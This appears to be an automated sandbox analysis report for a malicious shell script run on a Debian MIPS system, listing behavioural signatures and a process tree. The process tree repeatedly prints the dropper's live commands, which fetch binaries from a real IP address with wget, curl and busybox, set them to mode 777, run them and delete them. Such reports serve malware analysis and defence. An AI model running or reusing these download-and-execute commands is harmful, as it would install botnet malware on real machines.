65f56ff8c6c9d2603971172653c13367dbaf3eea32fbd7537661ed03e3724d4e

Analysis

max time kernel
81s
max time network
82s
platform
debian-9_mipsel
resource
debian9-mipsel-20240418-en
resource tags

arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
11/11/2024, 11:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
65f56ff8c6c9d2603971172653c13367dbaf3eea32fbd7537661ed03e3724d4e.sh
Size 10KB
Sample241111-nmvzeaxrdv
SHA256 65f56ff8c6c9d2603971172653c13367dbaf3eea32fbd7537661ed03e3724d4e
MD5 9427405ce08f37bb9a4c925b7e4d3982
SHA1 3eb5cf10be40d9a102a3f2bda3a04a6c03a425e4
SHA512 9a362695ef84dc43a632c178ab866a9312e6591a2bf452b002ff18dcc63843c6163de6bd4da8aa3899966d4f19f3f76ba2ad131236fb428f55d87e4d76f5ba26
SSDEEP 192:0LTKhuKBDB3BrowWRhaNL9BDB3BrowCIR:0LTKYKBDB3BrowWRhkL9BDB3Browv
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
817	chmod
823	chmod
964	chmod
988	chmod
940	chmod
952	chmod
970	chmod
794	chmod
976	chmod
868	chmod
898	chmod
910	chmod
916	chmod
958	chmod
982	chmod
748	chmod
770	chmod
904	chmod
928	chmod
934	chmod
847	chmod
874	chmod
892	chmod
886	chmod
922	chmod
946	chmod
754	chmod
880	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 10 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
822	busybox
824	d7FLIp9wD9HXXgFh7gCIUMKruRHEWOdO45
820	wget
821	curl
825	rm
955	wget
956	curl
957	busybox
959	d7FLIp9wD9HXXgFh7gCIUMKruRHEWOdO45
960	rm

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/d7FLIp9wD9HXXgFh7gCIUMKruRHEWOdO45	curl
File opened for modification	/tmp/GQrgM3tmH9MxSzv1gDvp0itBCjTWdddZXC	curl
File opened for modification	/tmp/NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB	curl
File opened for modification	/tmp/8OivDRPC46l6KF80CNgJxl4rdVHfZIhFNm	curl
File opened for modification	/tmp/ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t	curl
File opened for modification	/tmp/lwqJrhQhJQDASP41VZhTfgpoQJGwiHggL8	curl
File opened for modification	/tmp/5gAsZv8p1M6lVhyjBIRnMJT0ycvLBuXpDs	curl
File opened for modification	/tmp/wnOEje8ityT2vG4MIUGFqfSo89wklpvDQh	curl
File opened for modification	/tmp/4sy2Dgq1wLLOxLzowJA89gJJ55s3B9LYqb	curl
File opened for modification	/tmp/j10eAugc2q30mCExZaf4YdNB1zsY0v3czr	curl
File opened for modification	/tmp/4sy2Dgq1wLLOxLzowJA89gJJ55s3B9LYqb	curl
File opened for modification	/tmp/lwqJrhQhJQDASP41VZhTfgpoQJGwiHggL8	curl
File opened for modification	/tmp/eHcHJ3k2DSOo9ES1yGCc5kcMLb0bgc8ufk	curl
File opened for modification	/tmp/5gAsZv8p1M6lVhyjBIRnMJT0ycvLBuXpDs	curl
File opened for modification	/tmp/eHcHJ3k2DSOo9ES1yGCc5kcMLb0bgc8ufk	curl
File opened for modification	/tmp/MvwW7yRmeZCT2u36twJxyy7sevKjfKulzl	curl
File opened for modification	/tmp/ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t	curl
File opened for modification	/tmp/tPBf60bXklvo8xWYhPzigvdwV5tA48VLcr	curl
File opened for modification	/tmp/UUNIXgAMCvJgo0LQK9so1WmJaV6dO5nWfr	curl
File opened for modification	/tmp/GQrgM3tmH9MxSzv1gDvp0itBCjTWdddZXC	curl
File opened for modification	/tmp/NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB	curl
File opened for modification	/tmp/8OivDRPC46l6KF80CNgJxl4rdVHfZIhFNm	curl
File opened for modification	/tmp/tPBf60bXklvo8xWYhPzigvdwV5tA48VLcr	curl
File opened for modification	/tmp/d7FLIp9wD9HXXgFh7gCIUMKruRHEWOdO45	curl
File opened for modification	/tmp/j10eAugc2q30mCExZaf4YdNB1zsY0v3czr	curl
File opened for modification	/tmp/UUNIXgAMCvJgo0LQK9so1WmJaV6dO5nWfr	curl
File opened for modification	/tmp/MvwW7yRmeZCT2u36twJxyy7sevKjfKulzl	curl
File opened for modification	/tmp/wnOEje8ityT2vG4MIUGFqfSo89wklpvDQh	curl

/tmp/65f56ff8c6c9d2603971172653c13367dbaf3eea32fbd7537661ed03e3724d4e.sh
/tmp/65f56ff8c6c9d2603971172653c13367dbaf3eea32fbd7537661ed03e3724d4e.sh
1⤵
PID:716
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:722
- /usr/bin/wget
  wget http://216.126.231.240/bins/ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
  2⤵
  PID:727
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:739
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
  2⤵
  PID:746
- /bin/chmod
  chmod 777 ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
  ./ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
  2⤵
  - Executes dropped EXE
  PID:749
- /bin/rm
  rm ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
  2⤵
  PID:750
- /usr/bin/wget
  wget http://216.126.231.240/bins/NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB
  2⤵
  PID:751
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:752
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB
  2⤵
  PID:753
- /bin/chmod
  chmod 777 NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB
  ./NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB
  2⤵
  - Executes dropped EXE
  PID:755
- /bin/rm
  rm NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB
  2⤵
  PID:756
- /usr/bin/wget
  wget http://216.126.231.240/bins/8OivDRPC46l6KF80CNgJxl4rdVHfZIhFNm
  2⤵
  PID:757
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/8OivDRPC46l6KF80CNgJxl4rdVHfZIhFNm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:758
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/8OivDRPC46l6KF80CNgJxl4rdVHfZIhFNm
  2⤵
  PID:763
- /bin/chmod
  chmod 777 8OivDRPC46l6KF80CNgJxl4rdVHfZIhFNm
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /tmp/8OivDRPC46l6KF80CNgJxl4rdVHfZIhFNm
  ./8OivDRPC46l6KF80CNgJxl4rdVHfZIhFNm
  2⤵
  - Executes dropped EXE
  PID:771
- /bin/rm
  rm 8OivDRPC46l6KF80CNgJxl4rdVHfZIhFNm
  2⤵
  PID:774
- /usr/bin/wget
  wget http://216.126.231.240/bins/MvwW7yRmeZCT2u36twJxyy7sevKjfKulzl
  2⤵
  PID:775
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/MvwW7yRmeZCT2u36twJxyy7sevKjfKulzl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:782
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/MvwW7yRmeZCT2u36twJxyy7sevKjfKulzl
  2⤵
  PID:789
- /bin/chmod
  chmod 777 MvwW7yRmeZCT2u36twJxyy7sevKjfKulzl
  2⤵
  - File and Directory Permissions Modification
  PID:794
- /tmp/MvwW7yRmeZCT2u36twJxyy7sevKjfKulzl
  ./MvwW7yRmeZCT2u36twJxyy7sevKjfKulzl
  2⤵
  - Executes dropped EXE
  PID:795
- /bin/rm
  rm MvwW7yRmeZCT2u36twJxyy7sevKjfKulzl
  2⤵
  PID:800
- /usr/bin/wget
  wget http://216.126.231.240/bins/eHcHJ3k2DSOo9ES1yGCc5kcMLb0bgc8ufk
  2⤵
  PID:801
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/eHcHJ3k2DSOo9ES1yGCc5kcMLb0bgc8ufk
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:810
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/eHcHJ3k2DSOo9ES1yGCc5kcMLb0bgc8ufk
  2⤵
  PID:816
- /bin/chmod
  chmod 777 eHcHJ3k2DSOo9ES1yGCc5kcMLb0bgc8ufk
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/eHcHJ3k2DSOo9ES1yGCc5kcMLb0bgc8ufk
  ./eHcHJ3k2DSOo9ES1yGCc5kcMLb0bgc8ufk
  2⤵
  - Executes dropped EXE
  PID:818
- /bin/rm
  rm eHcHJ3k2DSOo9ES1yGCc5kcMLb0bgc8ufk
  2⤵
  PID:819
- /usr/bin/wget
  wget http://216.126.231.240/bins/d7FLIp9wD9HXXgFh7gCIUMKruRHEWOdO45
  2⤵
  - System Network Configuration Discovery
  PID:820
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/d7FLIp9wD9HXXgFh7gCIUMKruRHEWOdO45
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:821
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/d7FLIp9wD9HXXgFh7gCIUMKruRHEWOdO45
  2⤵
  - System Network Configuration Discovery
  PID:822
- /bin/chmod
  chmod 777 d7FLIp9wD9HXXgFh7gCIUMKruRHEWOdO45
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/d7FLIp9wD9HXXgFh7gCIUMKruRHEWOdO45
  ./d7FLIp9wD9HXXgFh7gCIUMKruRHEWOdO45
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:824
- /bin/rm
  rm d7FLIp9wD9HXXgFh7gCIUMKruRHEWOdO45
  2⤵
  - System Network Configuration Discovery
  PID:825
- /usr/bin/wget
  wget http://216.126.231.240/bins/tPBf60bXklvo8xWYhPzigvdwV5tA48VLcr
  2⤵
  PID:826
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/tPBf60bXklvo8xWYhPzigvdwV5tA48VLcr
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:831
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/tPBf60bXklvo8xWYhPzigvdwV5tA48VLcr
  2⤵
  PID:841
- /bin/chmod
  chmod 777 tPBf60bXklvo8xWYhPzigvdwV5tA48VLcr
  2⤵
  - File and Directory Permissions Modification
  PID:847
- /tmp/tPBf60bXklvo8xWYhPzigvdwV5tA48VLcr
  ./tPBf60bXklvo8xWYhPzigvdwV5tA48VLcr
  2⤵
  - Executes dropped EXE
  PID:848
- /bin/rm
  rm tPBf60bXklvo8xWYhPzigvdwV5tA48VLcr
  2⤵
  PID:851
- /usr/bin/wget
  wget http://216.126.231.240/bins/5gAsZv8p1M6lVhyjBIRnMJT0ycvLBuXpDs
  2⤵
  PID:852
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/5gAsZv8p1M6lVhyjBIRnMJT0ycvLBuXpDs
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:861
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/5gAsZv8p1M6lVhyjBIRnMJT0ycvLBuXpDs
  2⤵
  PID:867
- /bin/chmod
  chmod 777 5gAsZv8p1M6lVhyjBIRnMJT0ycvLBuXpDs
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /tmp/5gAsZv8p1M6lVhyjBIRnMJT0ycvLBuXpDs
  ./5gAsZv8p1M6lVhyjBIRnMJT0ycvLBuXpDs
  2⤵
  - Executes dropped EXE
  PID:869
- /bin/rm
  rm 5gAsZv8p1M6lVhyjBIRnMJT0ycvLBuXpDs
  2⤵
  PID:870
- /usr/bin/wget
  wget http://216.126.231.240/bins/wnOEje8ityT2vG4MIUGFqfSo89wklpvDQh
  2⤵
  PID:871
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/wnOEje8ityT2vG4MIUGFqfSo89wklpvDQh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:872
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/wnOEje8ityT2vG4MIUGFqfSo89wklpvDQh
  2⤵
  PID:873
- /bin/chmod
  chmod 777 wnOEje8ityT2vG4MIUGFqfSo89wklpvDQh
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /tmp/wnOEje8ityT2vG4MIUGFqfSo89wklpvDQh
  ./wnOEje8ityT2vG4MIUGFqfSo89wklpvDQh
  2⤵
  - Executes dropped EXE
  PID:875
- /bin/rm
  rm wnOEje8ityT2vG4MIUGFqfSo89wklpvDQh
  2⤵
  PID:876
- /usr/bin/wget
  wget http://216.126.231.240/bins/j10eAugc2q30mCExZaf4YdNB1zsY0v3czr
  2⤵
  PID:877
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/j10eAugc2q30mCExZaf4YdNB1zsY0v3czr
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:878
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/j10eAugc2q30mCExZaf4YdNB1zsY0v3czr
  2⤵
  PID:879
- /bin/chmod
  chmod 777 j10eAugc2q30mCExZaf4YdNB1zsY0v3czr
  2⤵
  - File and Directory Permissions Modification
  PID:880
- /tmp/j10eAugc2q30mCExZaf4YdNB1zsY0v3czr
  ./j10eAugc2q30mCExZaf4YdNB1zsY0v3czr
  2⤵
  - Executes dropped EXE
  PID:881
- /bin/rm
  rm j10eAugc2q30mCExZaf4YdNB1zsY0v3czr
  2⤵
  PID:882
- /usr/bin/wget
  wget http://216.126.231.240/bins/4sy2Dgq1wLLOxLzowJA89gJJ55s3B9LYqb
  2⤵
  PID:883
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/4sy2Dgq1wLLOxLzowJA89gJJ55s3B9LYqb
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:884
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/4sy2Dgq1wLLOxLzowJA89gJJ55s3B9LYqb
  2⤵
  PID:885
- /bin/chmod
  chmod 777 4sy2Dgq1wLLOxLzowJA89gJJ55s3B9LYqb
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/4sy2Dgq1wLLOxLzowJA89gJJ55s3B9LYqb
  ./4sy2Dgq1wLLOxLzowJA89gJJ55s3B9LYqb
  2⤵
  - Executes dropped EXE
  PID:887
- /bin/rm
  rm 4sy2Dgq1wLLOxLzowJA89gJJ55s3B9LYqb
  2⤵
  PID:888
- /usr/bin/wget
  wget http://216.126.231.240/bins/UUNIXgAMCvJgo0LQK9so1WmJaV6dO5nWfr
  2⤵
  PID:889
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UUNIXgAMCvJgo0LQK9so1WmJaV6dO5nWfr
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:890
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UUNIXgAMCvJgo0LQK9so1WmJaV6dO5nWfr
  2⤵
  PID:891
- /bin/chmod
  chmod 777 UUNIXgAMCvJgo0LQK9so1WmJaV6dO5nWfr
  2⤵
  - File and Directory Permissions Modification
  PID:892
- /tmp/UUNIXgAMCvJgo0LQK9so1WmJaV6dO5nWfr
  ./UUNIXgAMCvJgo0LQK9so1WmJaV6dO5nWfr
  2⤵
  - Executes dropped EXE
  PID:893
- /bin/rm
  rm UUNIXgAMCvJgo0LQK9so1WmJaV6dO5nWfr
  2⤵
  PID:894
- /usr/bin/wget
  wget http://216.126.231.240/bins/lwqJrhQhJQDASP41VZhTfgpoQJGwiHggL8
  2⤵
  PID:895
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/lwqJrhQhJQDASP41VZhTfgpoQJGwiHggL8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:896
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/lwqJrhQhJQDASP41VZhTfgpoQJGwiHggL8
  2⤵
  PID:897
- /bin/chmod
  chmod 777 lwqJrhQhJQDASP41VZhTfgpoQJGwiHggL8
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /tmp/lwqJrhQhJQDASP41VZhTfgpoQJGwiHggL8
  ./lwqJrhQhJQDASP41VZhTfgpoQJGwiHggL8
  2⤵
  - Executes dropped EXE
  PID:899
- /bin/rm
  rm lwqJrhQhJQDASP41VZhTfgpoQJGwiHggL8
  2⤵
  PID:900
- /usr/bin/wget
  wget http://216.126.231.240/bins/GQrgM3tmH9MxSzv1gDvp0itBCjTWdddZXC
  2⤵
  PID:901
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/GQrgM3tmH9MxSzv1gDvp0itBCjTWdddZXC
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:902
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/GQrgM3tmH9MxSzv1gDvp0itBCjTWdddZXC
  2⤵
  PID:903
- /bin/chmod
  chmod 777 GQrgM3tmH9MxSzv1gDvp0itBCjTWdddZXC
  2⤵
  - File and Directory Permissions Modification
  PID:904
- /tmp/GQrgM3tmH9MxSzv1gDvp0itBCjTWdddZXC
  ./GQrgM3tmH9MxSzv1gDvp0itBCjTWdddZXC
  2⤵
  - Executes dropped EXE
  PID:905
- /bin/rm
  rm GQrgM3tmH9MxSzv1gDvp0itBCjTWdddZXC
  2⤵
  PID:906
- /usr/bin/wget
  wget http://216.126.231.240/bins/NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB
  2⤵
  PID:907
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:908
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB
  2⤵
  PID:909
- /bin/chmod
  chmod 777 NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB
  2⤵
  - File and Directory Permissions Modification
  PID:910
- /tmp/NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB
  ./NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB
  2⤵
  - Executes dropped EXE
  PID:911
- /bin/rm
  rm NlNEjLHlMB1K1UQUZcKKb570Ete9PdW8cB
  2⤵
  PID:912
- /usr/bin/wget
  wget http://216.126.231.240/bins/8OivDRPC46l6KF80CNgJxl4rdVHfZIhFNm
  2⤵
  PID:913
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/8OivDRPC46l6KF80CNgJxl4rdVHfZIhFNm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:914
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/8OivDRPC46l6KF80CNgJxl4rdVHfZIhFNm
  2⤵
  PID:915
- /bin/chmod
  chmod 777 8OivDRPC46l6KF80CNgJxl4rdVHfZIhFNm
  2⤵
  - File and Directory Permissions Modification
  PID:916
- /tmp/8OivDRPC46l6KF80CNgJxl4rdVHfZIhFNm
  ./8OivDRPC46l6KF80CNgJxl4rdVHfZIhFNm
  2⤵
  - Executes dropped EXE
  PID:917
- /bin/rm
  rm 8OivDRPC46l6KF80CNgJxl4rdVHfZIhFNm
  2⤵
  PID:918
- /usr/bin/wget
  wget http://216.126.231.240/bins/MvwW7yRmeZCT2u36twJxyy7sevKjfKulzl
  2⤵
  PID:919
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/MvwW7yRmeZCT2u36twJxyy7sevKjfKulzl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:920
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/MvwW7yRmeZCT2u36twJxyy7sevKjfKulzl
  2⤵
  PID:921
- /bin/chmod
  chmod 777 MvwW7yRmeZCT2u36twJxyy7sevKjfKulzl
  2⤵
  - File and Directory Permissions Modification
  PID:922
- /tmp/MvwW7yRmeZCT2u36twJxyy7sevKjfKulzl
  ./MvwW7yRmeZCT2u36twJxyy7sevKjfKulzl
  2⤵
  - Executes dropped EXE
  PID:923
- /bin/rm
  rm MvwW7yRmeZCT2u36twJxyy7sevKjfKulzl
  2⤵
  PID:924
- /usr/bin/wget
  wget http://216.126.231.240/bins/eHcHJ3k2DSOo9ES1yGCc5kcMLb0bgc8ufk
  2⤵
  PID:925
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/eHcHJ3k2DSOo9ES1yGCc5kcMLb0bgc8ufk
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:926
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/eHcHJ3k2DSOo9ES1yGCc5kcMLb0bgc8ufk
  2⤵
  PID:927
- /bin/chmod
  chmod 777 eHcHJ3k2DSOo9ES1yGCc5kcMLb0bgc8ufk
  2⤵
  - File and Directory Permissions Modification
  PID:928
- /tmp/eHcHJ3k2DSOo9ES1yGCc5kcMLb0bgc8ufk
  ./eHcHJ3k2DSOo9ES1yGCc5kcMLb0bgc8ufk
  2⤵
  - Executes dropped EXE
  PID:929
- /bin/rm
  rm eHcHJ3k2DSOo9ES1yGCc5kcMLb0bgc8ufk
  2⤵
  PID:930
- /usr/bin/wget
  wget http://216.126.231.240/bins/ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
  2⤵
  PID:931
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:932
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
  2⤵
  PID:933
- /bin/chmod
  chmod 777 ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
  2⤵
  - File and Directory Permissions Modification
  PID:934
- /tmp/ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
  ./ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
  2⤵
  - Executes dropped EXE
  PID:935
- /bin/rm
  rm ACejr4BLngiLF11wIUmDcnuJLQ3eqzqw1t
  2⤵
  PID:936
- /usr/bin/wget
  wget http://216.126.231.240/bins/tPBf60bXklvo8xWYhPzigvdwV5tA48VLcr
  2⤵
  PID:937
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/tPBf60bXklvo8xWYhPzigvdwV5tA48VLcr
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:938
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/tPBf60bXklvo8xWYhPzigvdwV5tA48VLcr
  2⤵
  PID:939
- /bin/chmod
  chmod 777 tPBf60bXklvo8xWYhPzigvdwV5tA48VLcr
  2⤵
  - File and Directory Permissions Modification
  PID:940
- /tmp/tPBf60bXklvo8xWYhPzigvdwV5tA48VLcr
  ./tPBf60bXklvo8xWYhPzigvdwV5tA48VLcr
  2⤵
  - Executes dropped EXE
  PID:941
- /bin/rm
  rm tPBf60bXklvo8xWYhPzigvdwV5tA48VLcr
  2⤵
  PID:942
- /usr/bin/wget
  wget http://216.126.231.240/bins/5gAsZv8p1M6lVhyjBIRnMJT0ycvLBuXpDs
  2⤵
  PID:943
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/5gAsZv8p1M6lVhyjBIRnMJT0ycvLBuXpDs
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:944
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/5gAsZv8p1M6lVhyjBIRnMJT0ycvLBuXpDs
  2⤵
  PID:945
- /bin/chmod
  chmod 777 5gAsZv8p1M6lVhyjBIRnMJT0ycvLBuXpDs
  2⤵
  - File and Directory Permissions Modification
  PID:946
- /tmp/5gAsZv8p1M6lVhyjBIRnMJT0ycvLBuXpDs
  ./5gAsZv8p1M6lVhyjBIRnMJT0ycvLBuXpDs
  2⤵
  - Executes dropped EXE
  PID:947
- /bin/rm
  rm 5gAsZv8p1M6lVhyjBIRnMJT0ycvLBuXpDs
  2⤵
  PID:948
- /usr/bin/wget
  wget http://216.126.231.240/bins/wnOEje8ityT2vG4MIUGFqfSo89wklpvDQh
  2⤵
  PID:949
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/wnOEje8ityT2vG4MIUGFqfSo89wklpvDQh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:950
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/wnOEje8ityT2vG4MIUGFqfSo89wklpvDQh
  2⤵
  PID:951
- /bin/chmod
  chmod 777 wnOEje8ityT2vG4MIUGFqfSo89wklpvDQh
  2⤵
  - File and Directory Permissions Modification
  PID:952
- /tmp/wnOEje8ityT2vG4MIUGFqfSo89wklpvDQh
  ./wnOEje8ityT2vG4MIUGFqfSo89wklpvDQh
  2⤵
  - Executes dropped EXE
  PID:953
- /bin/rm
  rm wnOEje8ityT2vG4MIUGFqfSo89wklpvDQh
  2⤵
  PID:954
- /usr/bin/wget
  wget http://216.126.231.240/bins/d7FLIp9wD9HXXgFh7gCIUMKruRHEWOdO45
  2⤵
  - System Network Configuration Discovery
  PID:955
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/d7FLIp9wD9HXXgFh7gCIUMKruRHEWOdO45
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:956
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/d7FLIp9wD9HXXgFh7gCIUMKruRHEWOdO45
  2⤵
  - System Network Configuration Discovery
  PID:957
- /bin/chmod
  chmod 777 d7FLIp9wD9HXXgFh7gCIUMKruRHEWOdO45
  2⤵
  - File and Directory Permissions Modification
  PID:958
- /tmp/d7FLIp9wD9HXXgFh7gCIUMKruRHEWOdO45
  ./d7FLIp9wD9HXXgFh7gCIUMKruRHEWOdO45
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:959
- /bin/rm
  rm d7FLIp9wD9HXXgFh7gCIUMKruRHEWOdO45
  2⤵
  - System Network Configuration Discovery
  PID:960
- /usr/bin/wget
  wget http://216.126.231.240/bins/4sy2Dgq1wLLOxLzowJA89gJJ55s3B9LYqb
  2⤵
  PID:961
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/4sy2Dgq1wLLOxLzowJA89gJJ55s3B9LYqb
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:962
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/4sy2Dgq1wLLOxLzowJA89gJJ55s3B9LYqb
  2⤵
  PID:963
- /bin/chmod
  chmod 777 4sy2Dgq1wLLOxLzowJA89gJJ55s3B9LYqb
  2⤵
  - File and Directory Permissions Modification
  PID:964
- /tmp/4sy2Dgq1wLLOxLzowJA89gJJ55s3B9LYqb
  ./4sy2Dgq1wLLOxLzowJA89gJJ55s3B9LYqb
  2⤵
  - Executes dropped EXE
  PID:965
- /bin/rm
  rm 4sy2Dgq1wLLOxLzowJA89gJJ55s3B9LYqb
  2⤵
  PID:966
